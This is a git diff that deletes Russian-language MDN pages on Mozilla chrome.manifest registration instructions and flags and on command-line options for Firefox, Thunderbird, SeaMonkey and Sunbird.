-<pre class="eval" style="white-space: pre-wrap;">skin <em>packagename</em> <em>skinname</em> <em>uri/to/files/</em> <em>[flags]</em>
-</pre>
-
-<p>Такая инструкция зарегистрирует пакет оформления при разрешении URI типа <a class="external" rel="freelink">chrome://packagename/skin/</a>... . <em>skinname</em> это строка, идентифицирующая установленный скин. Если для пакета зарегистрировано несколько оформлений, реестр выберет наиболее подходящий для пользователя, учитывая пользовательские настройки.</p>
-
-<h3 id="overlay" name="overlay">overlay</h3>
-
-<p>Оверлеи XUL регистрируются следующим образом:</p>
-
-<pre class="eval" style="white-space: pre-wrap;">overlay chrome://<em>URI-to-be-overlaid</em> chrome://<em>overlay-URI</em> <em>[flags]</em>
-</pre>
-
-<h3 id="style" name="style">style</h3>
-
-<p>Оверлеи стилей (особый CSS-файл, применяющийся к странице chrome) регистрируются следующим образом:</p>
-
-<pre class="eval" style="white-space: pre-wrap;">style chrome://<em>URI-to-style</em> chrome://<em>stylesheet-URI</em> <em>[flags]</em>
-</pre>
-
-<div class="note"><strong>Примечание:</strong> Таким образом могут быть использованы только стили, использующие URI chrome://.</div>
-
-<div class="note"> </div>
-
-<h3 id="override" name="override">override</h3>
-
-<p>In some cases an extension or embedder may wish to override a chrome file provided by the application or XULRunner. In order to allow for this, the chrome registration manifest allows for "override" instructions:</p>
-
-<pre class="eval" style="white-space: pre-wrap;">override chrome://<em>package</em>/<em>type</em>/<em>original-uri.whatever</em> <em>new-resolved-URI</em> <em>[flags]</em>
-</pre>
-
-<p>Note: overrides are not recursive (so overriding <a class="external" rel="freelink">chrome://foo/content/bar/</a> with <a class="external" rel="freelink">file:///home/john/blah/</a> will not usually do what you want or expect it to do). Also, the path inside overridden files is relative to the overridden path, not the original one (this can be annoying and/or useful in CSS files, for example).</p>
-
-<div class="note">
-<p><strong>Note:</strong> There was a bug in {{Gecko("1.8.1.5")}} (Firefox 2.0.0.5) and earlier where you could not use a relative URL for the <em>new-resolved-URI</em> parameter. You needed to provide an absolute URL. See {{ Bug(323455) }}.</p>
-</div>
-
-<h3 id="resource" name="resource">resource</h3>
-
-<p>{{ Fx_minversion_inline("3") }}</p>
-
-<p>Aliases can be created using the <code>resource</code> instruction:</p>
-
-<pre class="eval" style="white-space: pre-wrap;">resource <em>aliasname</em> <em>uri/to/files/</em> <em>[flags]</em>
-</pre>
-
-<p>This will create a mapping for <code>resource://&lt;aliasname&gt;<span style="font-family: Verdana,Tahoma,sans-serif;">/</span></code> URIs to the path given.</p>
-
-<div class="note">
-<p><strong>Note:</strong> There are no security restrictions preventing web content from including content at resource: URIs, so take care what you make visible there.</p>
-</div>
-
-<h2 id="Manifest_Flags" name="Manifest_Flags">Manifest flags</h2>
-
-<p>Manifest lines can have multiple, space-delimited flags added at the end of the registration line. These flags mark special attributes of chrome in that package, or limit the conditions under which the line is used.</p>
-
-<h3 id="application" name="application">application</h3>
-
-<p>Extensions may install into multiple applications. There may be chrome registration lines which only apply to one particular application. The flag</p>
-
-<pre class="eval" style="white-space: pre-wrap;">application=<em>app-ID</em>
-</pre>
-
-<p>indicates that the instruction should only be applied if the extension is installed into the application identified by <em>app-ID</em>. Multiple application flags may be included on a single line, in which case the line is applied if any of the flags match.</p>
-
-<p>This example shows how a different overlay can be used for different applications:</p>
-
-<pre style="white-space: pre-wrap;">overlay chrome://browser/content/browser.xul chrome://myaddon/content/ffOverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384}
-overlay chrome://messenger/content/mailWindowOverlay.xul chrome://myaddon/content/tbOverlay.xul application={3550f703-e582-4d05-9a08-453d09bdfdc6}
-overlay chrome://songbird/content/xul/layoutBaseOverlay.xul chrome://myaddon/content/sbOverlay.xul application=songbird@songbirdnest.com
-</pre>
-
-<h3 id="appversion" name="appversion">appversion</h3>
-
-<p>Extensions may install into multiple versions of an application. There may be chrome registration lines which only apply to a particular application version. The flag</p>
-
-<pre class="eval" style="white-space: pre-wrap;">appversion=<em>version</em>
-appversion&lt;<em>version</em>
-appversion&lt;=<em>version</em>
-appversion&gt;<em>version</em>
-appversion&gt;=<em>version</em>
-</pre>
-
-<p>indicates that the instruction should only be applied if the extension is installed into the application version identified. Multiple <code>appversion</code> flags may be included on a single line, in which case the line is applied if any of the flags match. The version string must conform to the <a href="/en/Toolkit_version_format" title="en/Toolkit_version_format">Toolkit version format</a>.</p>
-
-<div class="note">
-<p><strong>Note:</strong> Versions of Gecko before {{Gecko("1.8.0.13")}} and {{Gecko("1.8.1.5")}} contained a bug where if you use the comparisons &lt;, &gt; or =, the version string had be two or more characters long. If not, you would get a message in the error console that the <code>appversion</code> flag was not recognized. See {{ Bug(380398) }}.</p>
-</div>
-
-<h3 id="platformversion" name="platformversion">platformversion</h3>
-
-<p>{{ gecko_minversion_inline("8.0") }} When supporting more then one application, it is often more convenient for an extension to specify which Gecko version it is compatible with. This is particularly true for binary components. If there are chrome registration lines which only apply to a particular Gecko version, the flag</p>
-
-<pre class="eval" style="white-space: pre-wrap;">platformversion=<em>version</em>
-platformversion&lt;<em>version</em>
-platformversion&lt;=<em>version</em>
-platformversion&gt;<em>version</em>
-platformversion&gt;=<em>version</em>
-</pre>
-
-<p>indicates that the instruction should only be applied if the extension is installed into an application using the Gecko version identified. Multiple <code>platformversion</code> flags may be included on a single line, in which case the line is applied if any of the flags match.</p>
-
-<h3 id="contentaccessible" name="contentaccessible">contentaccessible</h3>
-
-<p>{{ Fx_minversion_inline("3") }} Chrome resources can no longer be referenced from within &lt;img&gt;, &lt;script&gt;, or other elements contained in, or added to, content that was loaded from an untrusted source. This restriction applies to both elements defined by the untrusted source and to elements added by trusted extensions. If such references need to be explicitly allowed, set the <code>contentaccessible</code> flag to <code>yes</code> to obtain the behavior found in older versions of Firefox. <span class="comment">See {{ bug("436989") }}.</span></p>
-
-<p>The <code>contentaccessible</code> flag applies only to content packages: it is not recognized for locale or skin registration. However, the matching locale and skin packages will also be exposed to content.</p>
-
-<p><strong>n.b.:</strong> Because older versions of Firefox do not understand the <code>contentaccessible</code> flag, any extension designed to work with both Firefox 3 and older versions of Firefox will need to provide a fallback. For example:</p>
-
-<pre style="white-space: pre-wrap;">content packagename chrome/path/
-content packagename chrome/path/ contentaccessible=yes
-</pre>
-
-<h3 id="os" name="os">os</h3>
-
-<p>{{ Fx_minversion_inline("3") }} Extensions (or themes) may offer different features depending on the operating system on which Firefox is running. The value is compared to the value of <a href="/en/OS_TARGET" title="en/OS_TARGET">OS_TARGET</a> for the platform.</p>
-
-<pre class="eval" style="white-space: pre-wrap;">os=WINNT
-os=Darwin
-</pre>
-
-<p>See <a href="/en/OS_TARGET" title="en/OS_TARGET">OS_TARGET</a> for a more complete list of os names. The os name is case insensitive.</p>
-
-<h3 id="osversion" name="osversion">osversion</h3>
-
-<p>{{ Fx_minversion_inline("3") }} An extension or theme may need to operate differently depending on which version of an operating system is running. For example, a theme may wish to adopt a different look on Mac OS X 10.5 than 10.4:</p>
-
-<pre class="eval" style="white-space: pre-wrap;">osversion&gt;=10.5
-</pre>
-
-<h3 id="platform_.28Platform-specific_packages.29" name="platform_.28Platform-specific_packages.29">abi</h3>
-
-<p>{{ Fx_minversion_inline("4") }} If a component is only compatible with a particular ABI, it can specify which ABI/OS by using this directive. The value is taken from the <a href="/en/XPCOM_Interface_Reference/nsIXULRuntime" title="https://developer.mozilla.org/en/nsIXULRuntime">nsIXULRuntime</a> OS and XPCOMABI values (concatenated with an underscore). For example:</p>
-
-<pre>binary-component component/myLib.dll abi=WINNT_<code>x86-MSVC
-</code>binary-component component/myLib.so abi=Linux_<code>x86-gcc3 </code>
-</pre>
-
-<p>See <a href="/en/XPCOM_ABI" title="en/XPCOM ABI">XPCOM ABI</a> for more details.</p>
-
-<h3 id="platform_.28Platform-specific_packages.29" name="platform_.28Platform-specific_packages.29">platform (Platform-specific packages)</h3>
-
-<p>Some packages are marked with a special flag indicating that they are platform specific. Some parts of content, skin, and locales may be different based on the platform being run. These packages contain three different sets of files, for Windows and OS/2, Macintosh, and Unix-like platforms. For example, the order of the "OK" and "Cancel" buttons in a dialog is different, as well as the names of some items.</p>
-
-<p>The "platform" modifier is only parsed for content registration; it is not recognized for locale or skin registration. However, it applies to content, locale, and skin parts of the package, when specified.</p>
-
-<p>To indicate that a package is platform-specific, add the "platform" modifier to the "content" line after the path, for example:</p>
-
-<pre class="eval" style="white-space: pre-wrap;">content global-platform jar:toolkit.jar!/toolkit/content/global-platform/ platform
-</pre>
-
-<p>Once that is specified in your manifest you then ensure that under the directory global-platform are subdirectories <code>win</code> (Windows/OS2), <code>mac</code> (OS9/OSX), or <code>unix</code> (Everything Else). Anything residing outside of these subdirectories will be ignored.</p>
-
-<h3 id="xpcnativewrappers" name="xpcnativewrappers">xpcnativewrappers</h3>
-
-<p>Chrome packages can decide whether to use the <a href="/en/XPCNativeWrapper" title="en/XPCNativeWrapper">XPCNativeWrapper</a> security mechanism to automatically protect their code against malicious content that they might access. See <a href="/en/Safely_accessing_content_DOM_from_chrome" title="en/Safely_accessing_content_DOM_from_chrome">Safely accessing content DOM from chrome</a> for details.</p>
-
-<p>This flag is enabled by default since Firefox 1.5. Disabling it manually was possible by specifying <code>xpcnativewrappers=no</code> until Firefox 4.</p>
-
-<div class="note">
-<p><strong>Note:</strong> Support for this flag has been removed in {{Gecko("2.0")}}. You can no longer disable <code>XPCNativeWrapper</code>s. To update your add-on to work without this flag:</p>
-
-<ul>
- <li>If your add-on depends upon XBL bindings attached to content objects (that is, it needs to be able to call functions or get and set properties created by the XBL binding), you'll need to use the object's <a href="/en/wrappedJSObject" title="en/wrappedJSObject"><code>wrappedJSObject</code></a> property to obtain a wrapped object.</li>
- <li>If you need to call functions or access properties defined by the content -- for example, if your add-on wants to add a button to the page that calls a JavaScript function defined by the page.</li>
-</ul>
-</div>
-
-<p>The <code>xpcnativewrappers</code> flag applies only to content packages; it is not recognized for locale or skin registration.</p>
-
-<h2 id="Example_Chrome_Manifest" name="Example_Chrome_Manifest">Example chrome manifest</h2>
-
-<pre class="eval" style="white-space: pre-wrap;">content necko jar:comm.jar!/content/necko/
-locale necko en-US jar:en-US.jar!/locale/en-US/necko/
-content xbl-marquee jar:comm.jar!/content/xbl-marquee/
-content pipnss jar:pipnss.jar!/content/pipnss/
-locale pipnss en-US jar:en-US.jar!/locale/en-US/pipnss/
-# Firefox-only
-overlay <a class="external" rel="freelink">chrome://browser/content/pageInfo.xul</a> <a class="external" rel="freelink">chrome://pippki/content/PageInfoOverlay.xul</a> application={ec8030f7-c20a-464f-9b0e-13a3a9e97384}
-# SeaMonkey-only
-overlay <a class="external" rel="freelink">chrome://navigator/content/pageInfo.xul</a> <a class="external" rel="freelink">chrome://pippki/content/PageInfoOverlay.xul</a> application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}
-overlay <a class="external" rel="freelink">chrome://communicator/content/pref/preftree.xul</a> <a class="external" rel="freelink">chrome://pippki/content/PrefOverlay.xul</a>
-content pippki jar:pippki.jar!/content/pippki/
-locale pippki en-US jar:en-US.jar!/locale/en-US/pippki/
-content global-platform jar:toolkit.jar!/content/global-platform/ platform
-skin global classic/1.0 jar:classic.jar!/skin/classic/global/
-override <a class="external" rel="freelink">chrome://global/content/netError.xhtml</a> jar:embedder.jar!/global/content/netError.xhtml
-content inspector jar:inspector.jar!/content/inspector/
-</pre>
-
-<h2 id="Instructions_supported_in_bootstrapped_add_ons" name="Instructions_supported_in_bootstrapped_add_ons">Instructions supported in bootstrapped add-ons</h2>
-
-<p>The following instructions are supported in <a href="/en/Extensions/Bootstrapped_extensions" title="en/Extensions/Bootstrapped extensions">Bootstrapped extensions</a>:</p>
-
-<ul>
- <li><code>manifest</code></li>
- <li><code>content</code></li>
- <li><code>locale</code></li>
- <li><code>skin</code></li>
- <li><code>override</code></li>
-</ul>
-
-<h2 id="Debugging_a_Chrome_Manifest_file" name="Debugging_a_Chrome_Manifest_file">Debugging a chrome manifest file</h2>
-
-<p>The <a class="link-https" href="https://addons.mozilla.org/firefox/addon/chrome-list">Chrome List</a> extension (for Firefox 3.6 and older) shows all registered chrome. This is very helpful when trying to write a <code>chrome.manifest</code> file as you can inspect where the files are being mapped from (jar files, local directory, etc.)</p>
-
-<h2 id="Old-style_contents.rdf_manifests" name="Old-style_contents.rdf_manifests">Old-style contents.rdf manifests</h2>
-
-<p>Before the plaintext manifests were introduced (which happened in Firefox 1.5, Toolkit 1.8), RDF manifests named "contents.rdf" were used to register chrome. This format is deprecated; however, SeaMonkey versions before version 2 do not support the plaintext manifest format yet, so <code>contents.rdf</code> manifests are required for extensions that wish to maintain backwards compatibility with Firefox 1.0 or the suite.</p>
-
-<p>{{ gecko_minversion_note("1.9.2", "The <code>contents.rdf</code> manifest format is no longer supported at all starting with Gecko 1.9.2; add-ons already installed using this format will continue to work but can no longer be installed. Be sure to remove your add-on and reinstall it to ensure that it installs correctly after updating it to use a plaintext manifest.") }}</p>
-
-<h2 id="Official_References_for_Toolkit_API" name="Official_References_for_Toolkit_API">Official references for <a href="/en/Toolkit_API" title="en/Toolkit_API">Toolkit API</a></h2>
-
-<p>{{ page("en-US/docs/Toolkit_API/Official_References") }}</p>
-
-<p>{{ languages( { "fr": "fr/Enregistrement_chrome", "ja": "ja/Chrome_Registration", "pl": "pl/Rejestracja_Chrome" ,"zh-cn":"zh-cn/Chrome_Registration"} ) }}</p>
diff --git a/files/ru/mozilla/command_line_options/index.html b/files/ru/mozilla/command_line_options/index.html
deleted file mode 100644
index c4df2b09ad..0000000000
--- a/files/ru/mozilla/command_line_options/index.html
+++ /dev/null
@@ -1,473 +0,0 @@
----
-title: Опции командной строки
-slug: Mozilla/Command_Line_Options
-translation_of: Mozilla/Command_Line_Options
----
-<p>Опции командной строки используются для определения различных параметров запуска приложений Mozilla. Например, вы можете использовать опции командной строки, чтобы обойти Менеджер Профилей и открыть определенный профиль (если у вас их несколько). Также вы можете управлять тем, как открыть приложения Mozilla, какие компоненты открыть на начальном этапе, и что делать, когда они открываются. На этой странице описаны часто используемые опции и их применение.</p>
-
-<h2 id="Syntax_Rules" name="Syntax_Rules">Правила синтаксиса</h2>
-
-<p>Сначала давайте опишем синтаксические правила, которые применяются ко всем опциям.</p>
-
-<ul>
- <li>Параметры команд, содержащие пробелы, должны быть заключены в кавычки, например <code>"Joel User"</code>.</li>
- <li>Действия команд не зависят от регистра.</li>
- <li>Параметры команд (кроме имени профиля) не зависят от регистра.</li>
- <li>Команды и параметры разделяются пробелами.</li>
- <li>Для полей сообщений используется синтаксис <em>поле=значение</em>, например:
- <ul>
- <li><code>to=</code><span class="nowiki"><code>foo@nowhere.net</code></span></li>
- <li><code>subject=cool page</code></li>
- <li><code>attachment=www.mozilla.org</code></li>
- <li><code>attachment='<span class="nowiki">file:///c:/test.txt</span>'</code></li>
- <li><code>body=проверьте эту страницу</code></li>
- </ul>
- </li>
- <li>Несколько полей сообщения разделяются запятой <code>(,)</code>, например: <code>"<span class="nowiki">to=foo@nowhere.net,subject=классная страница</span>"</code>. Перед или после разделяющей запятой не должно быть пробелов. Чтобы задать несколько значений для поля, заключите значения в одиночные кавычки <code>(')</code>, например: <code>"<span class="nowiki">to='foo@nowhere.net,foo@foo.de',subject=классная страница</span>"</code> .</li>
-</ul>
-
-<h2 id="How_to_use_command_options" name="How_to_use_command_options">Использование опций командной строки</h2>
-
-<p>Опции командной строки указываются после команды для запуска приложения. Некоторые опции имеют аргументы. Они указываются после опции командной строки. Некоторые опции имеют сокращения. Например, опция командной строки <code>"-editor"</code> может быть указана в сокращённой форме как <code>"-edit"</code>. (Доступные сокращения описаны в тексте ниже). В некоторых случаях аргументы опций должны быть заключены в кавычки. (Это отмечено в описаниях опций ниже). Могут быть указаны несколько опций командной строки. В общем случае, их синтаксис следующий:</p>
-
-<pre>application -option -option "argument" -option argument
-</pre>
-
-<h3 id="Примеры">Примеры</h3>
-
-<p>Следующие примеры иллюстрируют использование опции <code>"-ProfileManager"</code>, которая открывает Менеджер профилей перед запуском Firefox или Thunderbird:</p>
-
-<h4 id="Windows">Windows</h4>
-
-<p>Выберите «Выполнить» в меню «Пуск» Windows и введите:</p>
-
-<pre class="eval">firefox -ProfileManager
-</pre>
-
-<h4 id="Mac_OS_X">Mac OS X</h4>
-
-<p>Перейдите в Applications &gt; Utilities. Откройте терминал и введите:</p>
-
-<pre class="eval">/Applications/Firefox.app/Contents/MacOS
-./firefox -ProfileManager
-</pre>
-
-<h4 id="Linux">Linux</h4>
-
-<p>Откройте терминал и введите:</p>
-
-<pre class="eval">cd <em>Thunderbird</em><var> installation directory</var>
-./thunderbird -ProfileManager
-</pre>
-
-<p>Пример выше использует опцию командной строки <code>"-ProfileManager"</code> для почтового клиента Mozilla Thunderbird.</p>
-
-<h2 id="User_Profile" name="User_Profile">Профиль пользователя</h2>
-
-<h3 id="-CreateProfile_profile_name" name="-CreateProfile_profile_name"><code>-CreateProfile <var>profile_name</var></code></h3>
-
-<p>Создаёт новый профиль с именем <code><var>profile_name</var></code> в директории по умолчанию, но не запускает приложение. Значение <code><var>profile_name</var></code> не должно содержать пробелов <code>( )</code>.</p>
-
-<p>Для успешного использования не должно быть уже запущенных экземпляров приложения или использоваться опция <code>-no-remote</code>.</p>
-
-<pre class="eval">firefox -CreateProfile JoelUser
-</pre>
-
-<h3 id="-CreateProfile_.22profile_name_profile_dir.22" name="-CreateProfile_.22profile_name_profile_dir.22"><code>-CreateProfile "<var>profile_name</var> <var>profile_dir</var>"</code></h3>
-
-<p>Создаёт новый профиль <var>profile_name</var> в директории <var>profile_dir</var>, но не запускает приложение. Обратите внимание, что <var>profile_name</var> и <var>profile_dir</var> заключены в кавычки вместе, и разделяются ровно одним пробелом <code>( )</code>.</p>
-
-<p>Для успешного использования не должно быть уже запущенных экземпляров приложения или использоваться опция <code>-no-remote</code>.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> Директория <var>profile_dir</var> не должна быть существующей и вы не должны иметь существующего профиля с именем <var>profile_name</var>.</p>
-</div>
-
-<pre class="eval">firefox -CreateProfile "JoelUser c:\internet\moz-profile"
-</pre>
-
-<h3 id="-ProfileManager_or_-P" name="-ProfileManager_or_-P"><code>-ProfileManager</code></h3>
-
-<p>Запуск Менеджера профилей. Короткая форма: <code>-P</code> (без имени пользователя).</p>
-
-<h3 id="-P_.22profile_name.22" name="-P_.22profile_name.22"><code>-P "<var>profile_name</var>"</code></h3>
-
-<p>Пропускает запуск менеджера профилей и запускает приложение с профилем <var>profile_name</var>. Полезно при работе с несколькими профилями. Обратите внимание, что имя профиля <var>profile_name</var> регистрозависимо. Если имя профиля не указано, будет запущен диспетчер профилей. Вы должны использовать <code>P</code> в верхнем регистре на Linux с версиями меньше, чем 7.x, так как в нижнем регистре это приведёт к запуску в режиме очистки (<span class="short_text" id="result_box" lang="ru"><span class="hps">обнаружения</span> <span class="hps">утечек</span></span> <span class="short_text" id="result_box" lang="ru"><span class="hps">памяти</span></span>). На других платформах допустимо указание как в верхнем, так и в нижнем регистре.</p>
-
-<pre class="eval">firefox -P "Joel User"
-</pre>
-
-<h3 id="-profile_.22.2Fpath.2Fto.2Fprofile.22" name="-profile_.22.2Fpath.2Fto.2Fprofile.22"><code>-profile "<var>profile_path</var>"</code></h3>
-
-<p>Запуск с профилем с указанным путём. Только <strong>Firefox</strong>, <strong>Thunderbird</strong> и <strong>SeaMonkey2.x</strong>.</p>
-
-<p><code>Путь "profile_path"</code> может быть как абсолютным (<code>"<var>/path/to/profile</var>"</code>), так и относительным <code>("<var>path/to/profile</var>"</code>).</p>
-
-<div class="note"><strong>Примечание: </strong>Указание относительного пути на Mac OS X больше не поддерживается из-за регрессии, начиная с Firefox 4.0 и выше, см. {{ bug(673955) }}.</div>
-
-<h3 id="-new-instance" name="-new-instance"><code>-new-instance</code></h3>
-
-<p>Запускает новый экземпляр приложения вместо нового окна в уже запущенном приложении, что позволяет держать одновременно открытыми несколько копий приложения.</p>
-
-<pre class="eval language-html"><code class="language-html">firefox -new-instance -P "Another Profile"</code></pre>
-
-<div class="note">
-<p><strong>Примечание: </strong>Недоступно на Windows, см. {{ bug(855899) }}.</p>
-</div>
-
-<h3 id="-no-remote" name="-no-remote"><code>-no-remote</code></h3>
-
-
-<p>Не разрешает принимать или посылать удалённые команды; неявное применение опции <code>-new-instance</code>.</p>
-
-<pre class="eval">firefox -no-remote -P "Another Profile"
-</pre>
-
-<div class="note"><strong>Примечание: </strong>Начиная с Firefox 9, это действительно означает то, что подразумевается, на всех платформах, <span class="translation-chunk">т.е.</span><span class="translation-chunk"> </span><span class="translation-chunk">экземпляры, созданные</span><span class="translation-chunk"> </span><span class="translation-chunk">с помощью этого</span><span class="translation-chunk"> </span><span class="translation-chunk">параметра</span><span class="translation-chunk"> </span><span class="translation-chunk">не</span><span class="translation-chunk"> </span><span class="translation-chunk">принимают и не</span><span class="translation-chunk"> </span><span class="translation-chunk">отправляют</span><span class="translation-chunk"> </span><span class="translation-chunk">удалённых команд</span>, см. {{ bug(650078) }}. Это означает то, что такие экземпляры не могут быть переиспользованы. <span class="translation-chunk">Также</span><span class="translation-chunk"> </span><span class="translation-chunk">при использовании этого</span><span class="translation-chunk"> </span><span class="translation-chunk">аргумента </span><span class="translation-chunk">в</span><span class="translation-chunk"> </span><span class="translation-chunk">любом случае</span><span class="translation-chunk"> </span><span class="translation-chunk">создаётся новый экземпляр</span><span class="translation-chunk">.</span></div>
-
-
-<h3 id="-migration" name="-migration"><code>-migration</code></h3>
-
-<p>Запуск приложения с Мастером миграции.</p>
-
-<h3 id="-override_.2Fpath.2Fto.2Foverride.ini" name="-override_.2Fpath.2Fto.2Foverride.ini"><code>-override <em>/path/to/</em>override.ini</code></h3>
-
-<p>Загружает указанный файл <code>override.ini</code> для переопределения <code>application.ini</code> ({{ Source("browser/app/application.ini") }}). Это может быть использовано для подавления Мастера миграции при запуске загрузкой следующего файла <code>override.ini</code>. Только <strong>Firefox</strong>.</p>
-
-<pre class="eval">[XRE]
-EnableProfileMigrator=0
-</pre>
-
-<h2 id="Browser" name="Browser">Браузер</h2>
-
-<h3 id="-browser" name="-browser"><code>-browser</code></h3>
-
-<p>Запуск компонента браузера. Только <strong>Firefox</strong> и <strong>SeaMonkey</strong>.</p>
-
-<h3 id="-url_URL" name="-url_URL"><code>-url <var>URL</var></code></h3>
-
-<p>Открывает <var>URL</var> в новом окне или вкладке, в зависимости от настроек браузера. Имя опции <code>-url</code> может быть опущено. Допускается указание нескольких URL, разделённых пробелами. Только <strong>Firefox</strong> и <strong>SeaMonkey</strong>.</p>
-
-<div class="note"><strong>Примечание: </strong>При открытии нескольких URL, Firefox всегда открывает их как вкладки в новом окне.</div>
-
-<pre class="eval">firefox www.mozilla.com
-firefox www.mozilla.com developer.mozilla.org
-</pre>
-
-<h3 id="-private" name="-private"><code>-private</code></h3>
-
-<p>Открывает Firefox в режиме приватного просмотра. Только <strong>Firefox 3.6</strong> и позже.</p>
-
-<p>Неприменимо в Ubuntu для <strong>Firefox 20 </strong>и позже.</p>
-
-<h3 id="-private-toggle" name="-private-toggle"><code>-private-window</code></h3>
-
-<p>Открывает новое приватное окно существующего экземпляра Firefox. Только <strong>Firefox 20</strong> и позже.</p>
-
-<h3 id="-private-toggle" name="-private-toggle"><code>-private-window <em>URL</em></code></h3>
-
-<p>Открывает <em>URL</em> в новом окне в режиме приватности. Если приватное окно уже открыто, будет открыта новая вкладка в существующем окне.<strong> </strong>Только<strong> Firefox 29 </strong>и позже. Не работает в <strong>Firefox 31</strong> на linux mint 17 (страница открывается в неприватном окне).</p>
-
-<h3 id="-new-tab_URL" name="-new-tab_URL"><code>-new-tab <var>URL</var></code></h3>
-
-<p>Открывает <var>URL</var> в новой вкладке. Только <strong>Firefox</strong> и <strong>SeaMonkey2.x</strong>.</p>
-
-<h3 id="-new-window_URL" name="-new-window_URL"><code>-new-window <var>URL</var></code></h3>
-
-<p>Открывает <var>URL</var> в новом окне. Только <strong>Firefox</strong> и <strong>SeaMonkey2.x</strong>.</p>
-
-<h3 id="-search_term" name="-search_term"><code>-search <var>term</var></code></h3>
-
-<p>Поиск <var>term</var> в поисковом движке по умолчанию. Только <strong>Firefox</strong> и <strong>SeaMonkey 2.1</strong> и позже.</p>
-
-<h3 id="-preferences" name="-preferences"><code>-preferences</code></h3>
-
-<p>Открывает окно настроек. Только <strong>Firefox</strong> и <strong>SeaMonkey2.x</strong>.</p>
-
-<h3 id="-setDefaultBrowser" name="-setDefaultBrowser"><code>-setDefaultBrowser</code></h3>
-
-<p>Устанавливает приложение браузером по умолчанию. Только <strong>Firefox</strong>.</p>
-
-<h2 id="Mail.2FNews" name="Mail.2FNews">Почта и новости</h2>
-
-<h3 id="-mail" name="-mail"><code>-mail</code></h3>
-
-<p>Запускает почтовый клиент. Только <strong>Thunderbird</strong> и <strong>SeaMonkey</strong>.</p>
-
-<h3 id="-news_news_URL" name="-news_news_URL"><code>-news</code> <var>news_URL</var></h3>
-
-<p>Запускает новостной клиент. Если указан <var>news_URL</var> (необязательный), открывает указанную группу новостей. Только <strong>Thunderbird</strong> и <strong>SeaMonkey</strong>.</p>
-
-<pre class="eval">thunderbird -news <span class="nowiki">news://server/group</span>
-</pre>
-
-<h3 id="-compose_message_options" name="-compose_message_options"><code>-compose <var>message_options</var></code></h3>
-
-<p>Открывает редактор почтовых сообщений. См. <a href="#Syntax_Rules">правила синтаксиса</a>. Только <strong>Thunderbird</strong> и <strong>SeaMonkey</strong>.</p>
-
-<pre class="eval">thunderbird -compose "<span class="nowiki">to=foo@nowhere.net</span>"
-</pre>
-
-<h3 id="-addressbook" name="-addressbook"><code>-addressbook</code></h3>
-
-<p>Открывает адресную книгу. Только <strong>Thunderbird</strong> и <strong>SeaMonkey</strong>.</p>
-
-<h3 id="-options" name="-options"><code>-options</code></h3>
-
-<p>Открывает окно «Инструменты/Настройки». Только <strong>Thunderbird</strong>.</p>
-
-<h3 id="-offline" name="-offline"><code>-offline</code></h3>
-
-<p>Запуск в режиме автономной работы. Только <strong>Thunderbird</strong> и <strong>SeaMonkey</strong>.</p>
-
-<h3 id="-setDefaultMail" name="-setDefaultMail"><code>-setDefaultMail</code></h3>
-
-<p>Устанавливает приложение почтовым клиентом по умолчанию. Только <strong>Thunderbird</strong>.</p>
-
-<h2 id="Calendar" name="Calendar">Календарь</h2>
-
-<h3 id="-calendar" name="-calendar"><code>-calendar</code></h3>
-
-<p>Запускает приложение календаря. Только <strong>Sunbird</strong>.</p>
-
-<h3 id="-subscribe_URL_or_-url_URL" name="-subscribe_URL_or_-url_URL"><code>-subscribe <var>URL</var></code> или <code>-url <var>URL</var></code></h3>
-
-<p>Подписаться на указанный <var>URL</var>. Только <strong>Sunbird</strong>.</p>
-
-<h3 id="-showdate_date" name="-showdate_date"><code>-showdate <var>date</var></code></h3>
-
-<p>Показать ваше расписание на указанную дату <var>date</var>. Только <strong>Sunbird</strong>.</p>
-
-<pre class="eval">sunbird -showdate 08/04/2008
-</pre>
-
-<h2 id="Other_Components" name="Other_Components">Другие компоненты</h2>
-
-<h3 id="-editor_URL_or_-edit_URL" name="-editor_URL_or_-edit_URL"><code>-editor <var>URL</var></code> или <code>-edit <var>URL</var></code></h3>
-
-<p>Запускает редактор для указанного <var>URL</var> (где <var>URL</var> — необязательный параметр). Только <strong>SeaMonkey</strong>.</p>
-
-<pre class="eval">seamonkey -edit www.mozilla.org
-</pre>
-
-<h3 id="-jsconsole" name="-jsconsole"><code>-jsdebugger</code></h3>
-
-<p>Запуск приложения с <a href="/ru/docs/Tools/Browser_Toolbox">панелью инструментов браузера </a>(ранее — отладчик браузера). <span class="short_text" id="result_box" lang="ru"><span class="hps">Это</span> <span class="hps">отличается от</span> <span class="hps">отладчика</span> <span class="hps">Venkman</span></span> (см. опцию <code>-venkman</code>).</p>
-
-<h3 id="-jsconsole" name="-jsconsole"><code>-jsconsole</code></h3>
-
-<p>Запускает приложение с открытой <a href="/ru/docs/Error_Console" title="Консоль ошибок">консолью ошибок</a> или, в случае Firefox, <a href="/ru/docs/Tools/Консоль_браузера" title="Консоль браузера">консолью браузера</a>.</p>
-
-<h3 id="-start-debugger-server_port"><code>-start-debugger-server port</code></h3>
-
-<p>Только <strong>Firefox</strong>. Запускает сервер отладки на порте <code>port</code>. Разрешает запуск ещё одного экземпляра Firefox для подключения инструментов разработки Firefox к данному экземпляру Firefox. См. статью об <a href="/ru/docs/Tools/Remote_Debugging/Debugging_Firefox_Desktop" title="Отладка Firefox">удалённой отладке Firefox</a>.</p>
-
-<h3 id="-inspector_URL" name="-inspector_URL"><code>-inspector <var>URL</var></code></h3>
-
-<p>Запуск <a href="/ru/docs/DOM_Inspector" title="Инспектор DOM">инспектора DOM</a>, если он установлен, и просмотр указанного <var>URL</var> (где <var>URL</var> — необязательный параметр).</p>
-
-<h3 id="-venkman" name="-venkman"><code>-venkman</code></h3>
-
-<p>Запуск с отладчиком JavaScript <a href="/en-US/docs/Venkman" title="Venkman">Venkman</a>, если он установлен.</p>
-
-<h3 id="-venkman" name="-venkman"><code>-purgecaches</code></h3>
-
-<p>Очистка <span class="translation-chunk">JavaScript</span>-кэша Gecko (движка браузера) при запуске.</p>
-
-<h3 id="-chat"><code>-chat</code></h3>
-
-<p>Запуск с IRC-клиентом <a class="link-https" href="https://addons.mozilla.org/ru/firefox/addon/chatzilla/">ChatZilla</a>, если он установлен.</p>
-
-<h2 id="XULRunner" name="XULRunner">XULRunner</h2>
-
-<h3 id="-app_.2Fpath.2Fto.2Fapplication.ini" name="-app_.2Fpath.2Fto.2Fapplication.ini"><code>-app <em>/path/to/</em>application.ini</code></h3>
-
